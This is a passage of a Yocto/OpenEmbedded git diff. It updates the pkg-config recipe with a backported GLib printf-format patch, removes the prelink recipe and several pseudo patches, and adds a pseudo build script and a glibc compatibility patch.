+From 3d7cde654c4c6f3bdad32f5521f28f5802a7c377 Mon Sep 17 00:00:00 2001
+From: Christoph Reiter <reiter.christoph@gmail.com>
+Date: Fri, 24 Aug 2018 21:46:47 +0200
+Subject: [PATCH] autotools: use C99 printf format specifiers on Windows. Fixes
+ #1497
+
+Since we now require a C99 compatible printf and use gnulib on Windows,
+we also mark our printf functions as gnu_printf. GCC complains about the
+Windows specific I64 specifiers we still write to glibconfig.h with the
+autotools build.
+
+To fix this switch all I64(x) to ll(x).
+
+This also makes the glibconfig.h output for those macros match the ones
+we get when using meson.
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Backport [https://github.com/GNOME/glib/commit/3d7cde654c]
+---
+ configure.ac | 18 +++++++++---------
+ 1 file changed, 9 insertions(+), 9 deletions(-)
+
+--- a/glib/configure.ac
++++ b/glib/configure.ac
+@@ -576,7 +576,7 @@ AS_IF([test x$ac_cv_sizeof_long_long = x
+ # long long is a 64 bit integer.
+ AC_MSG_CHECKING(for format to printf and scanf a guint64)
+ AC_CACHE_VAL(glib_cv_long_long_format,[
+- for format in ll q I64; do
++ for format in ll q; do
+ AC_TRY_RUN([#include <stdio.h>
+ int main()
+ {
+@@ -2995,8 +2995,8 @@ long)
+ glib_msize_type='LONG'
+ ;;
+ "long long")
+- gsize_modifier='"I64"'
+- gsize_format='"I64u"'
++ gsize_modifier='"ll"'
++ gsize_format='"llu"'
+ glib_msize_type='INT64'
+ ;;
+ esac
+@@ -3018,8 +3018,8 @@ long)
+ glib_mssize_type='LONG'
+ ;;
+ "long long")
+- gssize_modifier='"I64"'
+- gssize_format='"I64i"'
++ gssize_modifier='"ll"'
++ gssize_format='"lli"'
+ glib_mssize_type='INT64'
+ ;;
+ esac
+@@ -3048,9 +3048,9 @@ $ac_cv_sizeof_long)
+ ;;
+ $ac_cv_sizeof_long_long)
+ glib_intptr_type_define='long long'
+- gintptr_modifier='"I64"'
+- gintptr_format='"I64i"'
+- guintptr_format='"I64u"'
++ gintptr_modifier='"ll"'
++ gintptr_format='"lli"'
++ guintptr_format='"llu"'
+ glib_gpi_cast='(gint64)'
+ glib_gpui_cast='(guint64)'
+ ;;
diff --git a/meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch b/meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch
deleted file mode 100644
index 01c62472c1..0000000000
--- a/meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-
-Index: pkg-config-0.28/glib/configure.ac
-===================================================================
---- pkg-config-0.28.orig/glib/configure.ac
-+++ pkg-config-0.28/glib/configure.ac
-@@ -1438,7 +1438,7 @@ if test x"$glib_native_win32" = xyes; th
- G_MODULE_LDFLAGS=
- else
- export SED
-- G_MODULE_LDFLAGS=`(./libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
-+ G_MODULE_LDFLAGS=`(./${host_alias}-libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
- fi
- dnl G_MODULE_IMPL= don't reset, so cmd-line can override
- G_MODULE_NEED_USCORE=0
-@@ -1503,13 +1503,13 @@ if test "$G_MODULE_IMPL" = "G_MODULE_IMP
- LDFLAGS="$LDFLAGS $G_MODULE_LDFLAGS"
- dnl *** check for OSF1/5.0 RTLD_GLOBAL brokenness
- echo "void glib_plugin_test(void) { }" > plugin.c
-- ${SHELL} ./libtool --mode=compile --tag=CC ${CC} ${CFLAGS} \
-+ ${SHELL} ./${host_alias}-libtool --mode=compile --tag=CC ${CC} ${CFLAGS} \
- ${CPPFLAGS} -c -o plugin.lo plugin.c >/dev/null 2>&1
-- ${SHELL} ./libtool --mode=link --tag=CC ${CC} ${CFLAGS} \
-+ ${SHELL} ./${host_alias}-libtool --mode=link --tag=CC ${CC} ${CFLAGS} \
- ${LDFLAGS} -module -o plugin.la -export-dynamic \
- -shrext ".o" -avoid-version plugin.lo \
- -rpath /dont/care >/dev/null 2>&1
-- eval `./libtool --config | grep ^objdir`
-+ eval `./${host_alias}-libtool --config | grep ^objdir`
- AC_CACHE_CHECK([for RTLD_GLOBAL brokenness],
- glib_cv_rtldglobal_broken,[
- AC_TRY_RUN([
-@@ -1582,7 +1582,7 @@ fi
-
- AC_MSG_CHECKING(for the suffix of module shared libraries)
- export SED
--shrext_cmds=`./libtool --config | grep '^shrext_cmds='`
-+shrext_cmds=`./${host_alias}-libtool --config | grep '^shrext_cmds='`
- eval $shrext_cmds
- module=yes eval std_shrext=$shrext_cmds
- # chop the initial dot
diff --git a/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb b/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb
index 52ef2a9779..7e5860c18c 100644
--- a/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb
+++ b/meta/recipes-devtools/pkgconfig/pkgconfig_git.bb
@@ -5,17 +5,18 @@ HOMEPAGE = "http://pkg-config.freedesktop.org/wiki/"
BUGTRACKER = "http://bugs.freedesktop.org/buglist.cgi?product=pkg-config"
SECTION = "console/utils"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-SRCREV = "edf8e6f0ea77ede073f07bff0d2ae1fc7a38103b"
+SRCREV = "d97db4fae4c1cd099b506970b285dc2afd818ea2"
PV = "0.29.2+git${SRCPV}"
-SRC_URI = "git://anongit.freedesktop.org/pkg-config \
+SRC_URI = "git://gitlab.freedesktop.org/pkg-config/pkg-config.git;branch=master;protocol=https \
file://pkg-config-esdk.in \
file://pkg-config-native.in \
- file://fix-glib-configure-libtool-usage.patch \
file://0001-glib-gettext.m4-Update-AM_GLIB_GNU_GETTEXT-to-match-.patch \
+ file://0001-autotools-remove-support-for-the-__int64-type.-See-1.patch \
+ file://0001-autotools-use-C99-printf-format-specifiers-on-Window.patch \
"
S = "${WORKDIR}/git"
@@ -28,8 +29,8 @@ inherit autotools
EXTRA_OECONF += "--disable-indirect-deps"
PACKAGECONFIG ??= "glib"
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
+PACKAGECONFIG:class-native = ""
+PACKAGECONFIG:class-nativesdk = ""
PACKAGECONFIG[glib] = "--without-internal-glib,--with-internal-glib,glib-2.0 pkgconfig-native"
@@ -40,17 +41,17 @@ BBCLASSEXTEND = "native nativesdk"
# Set an empty dev package to ensure the base PN package gets
# the pkg.m4 macros, pkgconfig does not deliver any other -dev
# files.
-FILES_${PN}-dev = ""
-FILES_${PN} += "${datadir}/aclocal/pkg.m4"
+FILES:${PN}-dev = ""
+FILES:${PN} += "${datadir}/aclocal/pkg.m4"
# When using the RPM generated automatic package dependencies, some packages
# will end up requiring 'pkgconfig(pkg-config)'. Allow this behavior by
# specifying an appropriate provide.
-RPROVIDES_${PN} += "pkgconfig(pkg-config)"
+RPROVIDES:${PN} += "pkgconfig(pkg-config)"
# Install a pkg-config-native wrapper that will use the native sysroot instead
# of the MACHINE sysroot, for using pkg-config when building native tools.
-do_install_append_class-native () {
+do_install:append:class-native () {
sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
-e "s|@LIBDIR_NATIVE@|${PKG_CONFIG_LIBDIR}|" \
< ${WORKDIR}/pkg-config-native.in > ${B}/pkg-config-native
@@ -65,9 +66,9 @@ pkgconfig_sstate_fixup_esdk () {
if [ "${BB_CURRENTTASK}" = "populate_sysroot_setscene" -a "${WITHIN_EXT_SDK}" = "1" ] ; then
pkgconfdir="${SSTATE_INSTDIR}/recipe-sysroot-native/${bindir_native}"
mv $pkgconfdir/pkg-config $pkgconfdir/pkg-config.real
- lnr $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
+ ln -rs $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
sed -i -e "s|^pkg-config|pkg-config.real|" $pkgconfdir/pkg-config-native
fi
}
-SSTATEPOSTUNPACKFUNCS_append_class-native = " pkgconfig_sstate_fixup_esdk"
+SSTATEPOSTUNPACKFUNCS:append:class-native = " pkgconfig_sstate_fixup_esdk"
diff --git a/meta/recipes-devtools/prelink/prelink/0001-src-arch-mips.c-check-info-resolvetls-before-use-its.patch b/meta/recipes-devtools/prelink/prelink/0001-src-arch-mips.c-check-info-resolvetls-before-use-its.patch
deleted file mode 100644
index b1688243af..0000000000
--- a/meta/recipes-devtools/prelink/prelink/0001-src-arch-mips.c-check-info-resolvetls-before-use-its.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 2136969e3e196b9cf7f4788340efa4b1d9b39565 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Thu, 11 Oct 2018 10:05:52 +0800
-Subject: [PATCH] src/arch-mips.c: check info->resolvetls before use its member
-
-The info->resolvetls might be NULL according to src/prelink.c:
-[snip]
- /* Dynamic linker does not depend on any other library,
- all symbols resolve to themselves with the exception
- of SHN_UNDEF symbols which resolve to 0. */
-if (info->symtab[r_sym].st_shndx == SHN_UNDEF)
- {
- info->resolveent = NULL;
- info->resolvetls = NULL;
-[snip]
-
-So we must check it before use its members, otherwise, there might be
-Segmentation fault error.
-
-Fixed:
-MACHINE = "qemumips"
-IMAGE_INSTALL_append = " qemu"
-$ bitbake core-image-minimal
-[snip]
-| /path/to/qemumips-poky-linux/core-image-minimal/1.0-r0/temp/run.prelink_image.1000: line 111: 1010 Segmentation fault (core dumped)
-[snip]
-
-Upstream-Status: Submitted [https://lists.yoctoproject.org/pipermail/yocto/2018-October/042812.html]
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- src/arch-mips.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/arch-mips.c b/src/arch-mips.c
-index ccb1834..02c608f 100644
---- a/src/arch-mips.c
-+++ b/src/arch-mips.c
-@@ -567,7 +567,8 @@ mips_prelink_reloc (struct prelink_info *info, GElf_Addr r_offset,
- if (dso->ehdr.e_type == ET_EXEC)
- {
- value = info->resolve (info, r_sym, r_type);
-- value += info->resolvetls->offset - TLS_TP_OFFSET;
-+ if (info->resolvetls != NULL)
-+ value += info->resolvetls->offset - TLS_TP_OFFSET;
- if (r_type == R_MIPS_TLS_TPREL32)
- mips_prelink_32bit_reloc (dso, rela, value);
- else
---
-2.7.4
-
diff --git a/meta/recipes-devtools/prelink/prelink/macros.prelink b/meta/recipes-devtools/prelink/prelink/macros.prelink
deleted file mode 100644
index cb16695885..0000000000
--- a/meta/recipes-devtools/prelink/prelink/macros.prelink
+++ /dev/null
@@ -1,5 +0,0 @@
-# rpm-4.1 verifies prelinked libraries using a prelink undo helper.
-# Note: The 2nd token is used as argv[0] and "library" is a
-# placeholder that will be deleted and replaced with the appropriate
-# library file path.
-%__prelink_undo_cmd /usr/sbin/prelink prelink -y library
diff --git a/meta/recipes-devtools/prelink/prelink/prelink.conf b/meta/recipes-devtools/prelink/prelink/prelink.conf
deleted file mode 100644
index 562f23c59d..0000000000
--- a/meta/recipes-devtools/prelink/prelink/prelink.conf
+++ /dev/null
@@ -1,18 +0,0 @@
-# This config file contains a list of directories both with binaries
-# and libraries prelink should consider by default.
-# If a directory name is prefixed with `-l ', the directory hierarchy
-# will be walked as long as filesystem boundaries are not crossed.
-# If a directory name is prefixed with `-h ', symbolic links in a
-# directory hierarchy are followed.
--l /usr/local/sbin
--l /sbin
--l /usr/sbin
--l /usr/local/bin
--l /bin
--l /usr/bin
--l /usr/X11R6/bin
--l /usr/games
--l /usr/local/lib{,32,64,x32}
--l /lib{,32,64,x32}
--l /usr/lib{,32,64,x32}
--l /usr/X11R6/lib{,32,64,x32}
diff --git a/meta/recipes-devtools/prelink/prelink/prelink.cron.daily b/meta/recipes-devtools/prelink/prelink/prelink.cron.daily
deleted file mode 100644
index 0b3c07322c..0000000000
--- a/meta/recipes-devtools/prelink/prelink/prelink.cron.daily
+++ /dev/null
@@ -1,40 +0,0 @@
-#!/bin/sh
-
-. /etc/default/prelink
-
-renice +19 -p $$ >/dev/null 2>&1
-
-if [ "$PRELINKING" != yes ]; then
- if [ -f /etc/prelink.cache ]; then
- echo /usr/sbin/prelink -uav > /var/log/prelink.log
- /usr/sbin/prelink -uav >> /var/log/prelink.log 2>&1
- rm -f /etc/prelink.cache
- # Restart init if needed
- [ -n "$(find `ldd /sbin/init | awk '{ print $3 }'` /sbin/init -ctime -1 2>/dev/null )" ] && /sbin/telinit u
- fi
- exit 0
-fi
-
-if [ ! -f /etc/prelink.cache -o -f /var/lib/misc/prelink.force ] \
- || grep -q '^prelink-ELF0.[0-2]' /etc/prelink.cache; then
- # If cache does not exist or is from older prelink versions or
- # if we were asked to explicitely, force full prelinking
- rm -f /etc/prelink.cache /var/lib/misc/prelink.force
- PRELINK_OPTS="$PRELINK_OPTS -f"
- date > /var/lib/misc/prelink.full
-elif [ -n "$PRELINK_FULL_TIME_INTERVAL" \
- -a "`find /var/lib/misc/prelink.full -mtime -${PRELINK_FULL_TIME_INTERVAL} 2>/dev/null`" \
- = /var/lib/misc/prelink.full ]; then
- # If prelink without -q has been run in the last
- # PRELINK_FULL_TIME_INTERVAL days, just use quick mode
- PRELINK_OPTS="$PRELINK_OPTS -q"
-else
- date > /var/lib/misc/prelink.full
-fi
-
-echo /usr/sbin/prelink -av $PRELINK_OPTS > /var/log/prelink.log
-/usr/sbin/prelink -av $PRELINK_OPTS >> /var/log/prelink.log 2>&1
-# Restart init if needed
-[ -n "$(find `ldd /sbin/init | awk '{ print $3 }'` /sbin/init -ctime -1 2>/dev/null )" ] && /sbin/telinit u
-
-exit 0
diff --git a/meta/recipes-devtools/prelink/prelink/prelink.default b/meta/recipes-devtools/prelink/prelink/prelink.default
deleted file mode 100644
index d8802f820a..0000000000
--- a/meta/recipes-devtools/prelink/prelink/prelink.default
+++ /dev/null
@@ -1,22 +0,0 @@
-# Set this to no to disable prelinking altogether
-# or to yes to enable it.
-# (if you change this from yes to no prelink -ua
-# will be run next night to undo prelinking)
-PRELINKING=yes
-
-# Options to pass to prelink
-# -m Try to conserve virtual memory by allowing overlapping
-# assigned virtual memory slots for libraries which
-# never appear together in one binary
-# -R Randomize virtual memory slot assignments for libraries.
-# This makes it slightly harder for various buffer overflow
-# attacks, since library addresses will be different on each
-# host using -R.
-PRELINK_OPTS=-mR
-
-# How often should full prelink be run (in days)
-# Normally, prelink will be run in quick mode, every
-# $PRELINK_FULL_TIME_INTERVAL days it will be run
-# in normal mode. Comment this line out if prelink
-# should be run in normal mode always.
-PRELINK_FULL_TIME_INTERVAL=14
diff --git a/meta/recipes-devtools/prelink/prelink_git.bb b/meta/recipes-devtools/prelink/prelink_git.bb
deleted file mode 100644
index f0946de2cc..0000000000
--- a/meta/recipes-devtools/prelink/prelink_git.bb
+++ /dev/null
@@ -1,183 +0,0 @@
-SECTION = "devel"
-# Need binutils for libiberty.a
-# Would need transfig-native for documentation if it wasn't disabled
-DEPENDS = "elfutils binutils"
-SUMMARY = "An ELF prelinking utility"
-HOMEPAGE = "http://git.yoctoproject.org/cgit.cgi/prelink-cross/about/"
-DESCRIPTION = "The prelink package contains a utility which modifies ELF shared libraries \
-and executables, so that far fewer relocations need to be resolved at \
-runtime and thus programs come up faster."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c93c0550bd3173f4504b2cbd8991e50b"
-SRCREV = "a853a5d715d84eec93aa68e8f2df26b7d860f5b2"
-PV = "1.0+git${SRCPV}"
-
-#
-# The cron script attempts to re-prelink the system daily -- on
-# systems where users are adding applications, this might be reasonable
-# but for embedded, we should be re-running prelink -a after an update.
-#
-# Default is prelinking is enabled.
-#
-SUMMARY_${PN}-cron = "Cron scripts to control automatic prelinking"
-DESCRIPTION_${PN}-cron = "Cron scripts to control automatic prelinking. \
-See: ${sysconfdir}/cron.daily/prelink for configuration information."
-
-FILES_${PN}-cron = "${sysconfdir}/cron.daily ${sysconfdir}/default"
-
-PACKAGES =+ "${PN}-cron"
-
-SRC_URI = "git://git.yoctoproject.org/prelink-cross.git;branch=cross_prelink_staging \
- file://prelink.conf \
- file://prelink.cron.daily \
- file://prelink.default \
- file://macros.prelink \
- file://0001-src-arch-mips.c-check-info-resolvetls-before-use-its.patch \
-"
-UPSTREAM_CHECK_COMMITS = "1"
-
-# error: error.h: No such file or directory
-COMPATIBLE_HOST_libc-musl = 'null'
-
-TARGET_OS_ORIG := "${TARGET_OS}"
-OVERRIDES_append = ":${TARGET_OS_ORIG}"
-
-S = "${WORKDIR}/git"
-
-inherit autotools
-
-BBCLASSEXTEND = "native"
-
-EXTRA_OECONF = "--disable-selinux --with-pkgversion=${PV}-${PR} \
- --with-bugurl=http://bugzilla.yoctoproject.org/"
-
-
-#
-# For target prelink we need to ensure paths match the lib path layout
-# including for any configured multilibs
-#
-python do_linkerpaths () {
- values = all_multilib_tune_list(["TUNE_ARCH", "baselib", "ABIEXTENSION"], d)
-
- arches = values["TUNE_ARCH"]
- baselibs = values["baselib"]
- abis = values["ABIEXTENSION"]
-
- def replace_lines(f, search, replacement, d, firstonly = False, secondonly = False):
- f = d.expand(f)
- if search == replacement:
- return
- bb.debug(2, "Replacing %s with %s in %s" % (search, replacement, f))
- with open(f, "r") as data:
- lines = data.readlines()
- with open(f, "w") as data:
- for line in lines:
- if not secondonly and not firstonly:
- line = line.replace(search, replacement)
- elif secondonly and search in line:
- secondonly = False
- elif firstonly and search and search in line:
- line = line.replace(search, replacement)
- search = None
- data.write(line)
-
- def replace_lines_rtld(f, search, replacement, section, d):
- f = d.expand(f)
- bb.debug(2, "Replacing %s with %s in %s" % (search, replacement, f))
- with open(f, "r") as data:
- lines = data.readlines()
- found = False
- found2 = False
- with open(f, "w") as data:
- for line in lines:
- if section in line:
- if section == "else" and "if" in line:
- found = False
- else:
- found = True
- if found and "dst_LIB =" in line:
- found2 = True
- elif "}" in line:
- found = False
- found2 = False
- if found2:
- line = line.replace(search, replacement)
- data.write(line)
-
- for i, arch in enumerate(arches):
- tune_baselib = baselibs[i]
- abi = abis[i]
-
- bits = 32
- if arch == "powerpc":
- replace_lines("${S}/src/arch-ppc.c", "/lib/ld.so.1", "/" + tune_baselib + "/ld.so.1", d)
- elif arch == "powerpc64":
- replace_lines("${S}/src/arch-ppc64.c", "/lib64/ld64.so.1", "/" + tune_baselib + "/ld64.so.1", d)
- bits = 64
- elif arch == "x86_64":
- if abi == "x32":
- replace_lines("${S}/src/arch-x86_64.c", "/libx32/ld-linux-x32.so.2", "/" + tune_baselib + "/ld-linux-x32.so.2", d)
- else:
- replace_lines("${S}/src/arch-x86_64.c", "/lib64/ld-linux-x86-64.so.2", "/" + tune_baselib + "/ld-linux-x86-64.so.2", d)
- bits = 64
- elif arch == "arm":
- replace_lines("${S}/src/arch-arm.c", "/lib/ld-linux.so.3", "/" + tune_baselib + "/ld-linux.so.3", d)
- replace_lines("${S}/src/arch-arm.c", "/lib/ld-linux-armhf.so.3", "/" + tune_baselib + "/ld-linux-armhf.so.3", d)
- elif arch == "mips" or arch == "mipsel":
- replace_lines("${S}/src/arch-mips.c", "/lib/ld.so.1", "/" + tune_baselib + "/ld.so.1", d, firstonly=True)
- replace_lines("${S}/src/arch-mips.c", "/lib32/ld.so.1", "/" + tune_baselib + "/ld.so.1", d)
- elif arch == "mips64" or arch == "mips64el":
- replace_lines("${S}/src/arch-mips.c", "/lib/ld.so.1", "/" + tune_baselib + "/ld.so.1", d, secondonly=True)
- replace_lines("${S}/src/arch-mips.c", "/lib64/ld.so.1", "/" + tune_baselib + "/ld.so.1", d)
- bits = 64
- elif arch.endswith("86"):
- replace_lines("${S}/src/arch-i386.c", "/lib/ld-linux.so.2", "/" + tune_baselib + "/ld-linux.so.2", d)
- if bits == 32 and tune_baselib != "lib":
- replace_lines_rtld("${S}/src/rtld/rtld.c", "lib", tune_baselib, "else", d)
- if bits == 64 and tune_baselib != "lib64":
- replace_lines_rtld("${S}/src/rtld/rtld.c", "lib64", tune_baselib, "use_64bit", d)
-}
-
-python () {
- overrides = d.getVar("OVERRIDES").split(":")
- if "class-target" in overrides:
- bb.build.addtask('do_linkerpaths', 'do_configure', 'do_patch', d)
-}
-
-do_configure_prepend () {
- # Disable documentation!
- echo "all:" > ${S}/doc/Makefile.am
-}
-
-do_install_append () {
- install -d ${D}${sysconfdir}/cron.daily ${D}${sysconfdir}/default ${D}${sysconfdir}/rpm
- install -m 0644 ${WORKDIR}/prelink.conf ${D}${sysconfdir}/prelink.conf
- install -m 0644 ${WORKDIR}/prelink.cron.daily ${D}${sysconfdir}/cron.daily/prelink
- install -m 0644 ${WORKDIR}/prelink.default ${D}${sysconfdir}/default/prelink
- install -m 0644 ${WORKDIR}/macros.prelink ${D}${sysconfdir}/rpm/macros.prelink
-}
-
-# If we ae doing a cross install, we want to avoid prelinking.
-# Prelinking during a cross install should be handled by the image-prelink
-# bbclass. If the user desires this to run on the target at first boot
-# they will need to create a custom boot script.
-pkg_postinst_prelink() {
-#!/bin/sh
-
-if [ "x$D" != "x" ]; then
- exit 0
-fi
-
-prelink -a
-}
-
-pkg_prerm_prelink() {
-#!/bin/sh
-
-if [ "x$D" != "x" ]; then
- exit 1
-fi
-
-prelink -au
-}
-
diff --git a/meta/recipes-devtools/pseudo/files/0001-maketables-wrappers-use-Python-3.patch b/meta/recipes-devtools/pseudo/files/0001-maketables-wrappers-use-Python-3.patch
deleted file mode 100644
index b2dbdad278..0000000000
--- a/meta/recipes-devtools/pseudo/files/0001-maketables-wrappers-use-Python-3.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From dbd34b1b2af8fbf44a0d5c37abe3448405819823 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 28 Aug 2019 19:20:29 +0200
-Subject: [PATCH] maketables/wrappers: use Python 3
-
-Changelog indicates they should be compatible.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- maketables | 2 +-
- makewrappers | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/maketables b/maketables
-index a211772..52285e2 100755
---- a/maketables
-+++ b/maketables
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- #
- # Copyright (c) 2008-2010, 2013 Wind River Systems, Inc.
- #
-diff --git a/makewrappers b/makewrappers
-index e84607d..b34f7eb 100755
---- a/makewrappers
-+++ b/makewrappers
-@@ -1,4 +1,4 @@
--#!/usr/bin/env python
-+#!/usr/bin/env python3
- #
- # Copyright (c) 2008-2011,2013 Wind River Systems, Inc.
- #
diff --git a/meta/recipes-devtools/pseudo/files/build-oldlibc b/meta/recipes-devtools/pseudo/files/build-oldlibc
new file mode 100755
index 0000000000..85c438de4e
--- /dev/null
+++ b/meta/recipes-devtools/pseudo/files/build-oldlibc
@@ -0,0 +1,20 @@
+#!/bin/sh
+#
+# Script to re-generate pseudo-prebuilt-2.33.tar.xz
+#
+# Copyright (C) 2021 Richard Purdie
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+for i in x86_64 aarch64 i686; do
+ if [ ! -e $i-nativesdk-libc.tar.xz ]; then
+ wget http://downloads.yoctoproject.org/releases/uninative/3.2/$i-nativesdk-libc.tar.xz
+ fi
+ tar -xf $i-nativesdk-libc.tar.xz --wildcards \*/lib/libpthread\* \*/lib/libdl\*
+ cd $i-linux/lib
+ ln -s libdl.so.2 libdl.so
+ ln -s libpthread.so.0 libpthread.so
+ cd ../..
+done
+tar -cJf pseudo-prebuilt-2.33.tar.xz *-linux \ No newline at end of file
diff --git a/meta/recipes-devtools/pseudo/files/moreretries.patch b/meta/recipes-devtools/pseudo/files/moreretries.patch
deleted file mode 100644
index adea2665b0..0000000000
--- a/meta/recipes-devtools/pseudo/files/moreretries.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-Increase the number of retries in pseudo due to occasional slow
-server shutdowns.
-
-Upstream-Status: Pending
-RP 2016/2/28
-
-Index: git/pseudo_client.c
-===================================================================
---- git.orig/pseudo_client.c
-+++ git/pseudo_client.c
-@@ -1282,7 +1282,7 @@ pseudo_client_setup(void) {
- }
- }
-
--#define PSEUDO_RETRIES 20
-+#define PSEUDO_RETRIES 250
- static pseudo_msg_t *
- pseudo_client_request(pseudo_msg_t *msg, size_t len, const char *path) {
- pseudo_msg_t *response = 0;
diff --git a/meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch b/meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch
new file mode 100644
index 0000000000..c453b5f735
--- /dev/null
+++ b/meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch
@@ -0,0 +1,57 @@
+If we link against a newer glibc 2.34 and then try and our LD_PRELOAD is run against a
+binary on a host with an older libc, we see symbol errors since in glibc 2.34, pthread
+and dl are merged into libc itself.
+
+We need to use the older form of linking so use glibc binaries from an older release
+to force this. We only use minimal symbols from these anyway.
+
+pthread_atfork is problematic, particularly on arm so use the internal glibc routine
+it maps too. This was always present in the main libc from 2.3.2 onwards.
+
+Yes this is horrible. Better solutions welcome.
+
+There is more info in the bug: [YOCTO #14521]
+
+Upstream-Status: Inappropriate [this patch is native and nativesdk]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Tweak library search order, make prebuilt lib ahead of recipe lib
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+---
+ Makefile.in | 2 +-
+ pseudo_wrappers.c | 5 ++++-
+ 2 files changed, 5 insertions(+), 2 deletions(-)
+
+diff --git a/Makefile.in b/Makefile.in
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -120,7 +120,7 @@ $(PSEUDODB): pseudodb.o $(SHOBJS) $(DBOBJS) pseudo_ipc.o | $(BIN)
+ libpseudo: $(LIBPSEUDO)
+
+ $(LIBPSEUDO): $(WRAPOBJS) pseudo_client.o pseudo_ipc.o $(SHOBJS) | $(LIB)
+- $(CC) $(CFLAGS) $(CFLAGS_PSEUDO) -shared -o $(LIBPSEUDO) \
++ $(CC) $(CFLAGS) -Lprebuilt/$(shell uname -m)-linux/lib/ $(CFLAGS_PSEUDO) -shared -o $(LIBPSEUDO) \
+ pseudo_client.o pseudo_ipc.o \
+ $(WRAPOBJS) $(SHOBJS) $(LDFLAGS) $(CLIENT_LDFLAGS)
+
+diff --git a/pseudo_wrappers.c b/pseudo_wrappers.c
+--- a/pseudo_wrappers.c
++++ b/pseudo_wrappers.c
+@@ -100,10 +100,13 @@ static void libpseudo_atfork_child(void)
+ pseudo_mutex_holder = 0;
+ }
+
++extern void *__dso_handle;
++extern int __register_atfork (void (*) (void), void (*) (void), void (*) (void), void *);
++
+ static void
+ _libpseudo_init(void) {
+ if (!_libpseudo_initted)
+- pthread_atfork(NULL, NULL, libpseudo_atfork_child);
++ __register_atfork (NULL, NULL, libpseudo_atfork_child, &__dso_handle == NULL ? NULL : __dso_handle);
+
+ pseudo_getlock();
+ pseudo_antimagic();
+--
+2.27.0
+
diff --git a/meta/recipes-devtools/pseudo/files/toomanyfiles.patch b/meta/recipes-devtools/pseudo/files/toomanyfiles.patch
deleted file mode 100644
index bda7e4b202..0000000000
--- a/meta/recipes-devtools/pseudo/files/toomanyfiles.patch
+++ /dev/null
@@ -1,71 +0,0 @@
-From b0b25fbc041a148d1de09f5a6503cd95973ec77c Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Tue, 25 Apr 2017 15:25:54 +0100
-Subject: [PATCH 3/3] pseudo: Handle too many files deadlock
-
-Currently if we max out the maximum number of files, pseudo can deadlock, unable to
-accept new connections yet unable to move forward and unblock the other processes
-waiting either.
-
-Rather than hang, when this happens, close out inactive connections, allowing us
-to accept the new ones. The disconnected clients will simply reconnect. There is
-a small risk of data loss here sadly but its better than hanging.
-
-RP
-2017/4/25
-
-Upstream-Status: Submitted [Peter is aware of the issue]
-
----
- pseudo_server.c | 10 ++++++++++
- 1 file changed, 10 insertions(+)
-
-diff --git a/pseudo_server.c b/pseudo_server.c
-index dac3258..15a3e8f 100644
---- a/pseudo_server.c
-+++ b/pseudo_server.c
-@@ -802,6 +802,7 @@ pseudo_server_loop(void) {
- struct sigaction eat_usr2 = {
- .sa_handler = set_do_list_clients
- };
-+ int hitmaxfiles;
-
- clients = malloc(16 * sizeof(*clients));
-
-@@ -820,6 +821,7 @@ pseudo_server_loop(void) {
- active_clients = 1;
- max_clients = 16;
- highest_client = 0;
-+ hitmaxfiles = 0;
-
- pseudo_debug(PDBGF_SERVER, "server loop started.\n");
- if (listen_fd < 0) {
-@@ -878,10 +880,15 @@ pseudo_server_loop(void) {
- } else {
- serve_client(i);
- }
-+ } else if (hitmaxfiles) {
-+ /* Only close one per loop iteration in the interests of caution */
-+ close_client(i);
-+ hitmaxfiles = 0;
- }
- if (die_forcefully)
- break;
- }
-+ hitmaxfiles = 0;
- if (!die_forcefully &&
- (FD_ISSET(clients[0].fd, &events) ||
- FD_ISSET(clients[0].fd, &reads))) {
-@@ -903,6 +910,9 @@ pseudo_server_loop(void) {
- */
- pseudo_server_timeout = DEFAULT_PSEUDO_SERVER_TIMEOUT;
- die_peacefully = 0;
-+ } else if (errno == EMFILE) {
-+ hitmaxfiles = 1;
-+ pseudo_debug(PDBGF_SERVER, "Hit max open files, dropping a client.\n");
- }
- }
- pseudo_debug(PDBGF_SERVER, "server loop complete [%d clients left]\n", active_clients);
---
-2.15.1
-
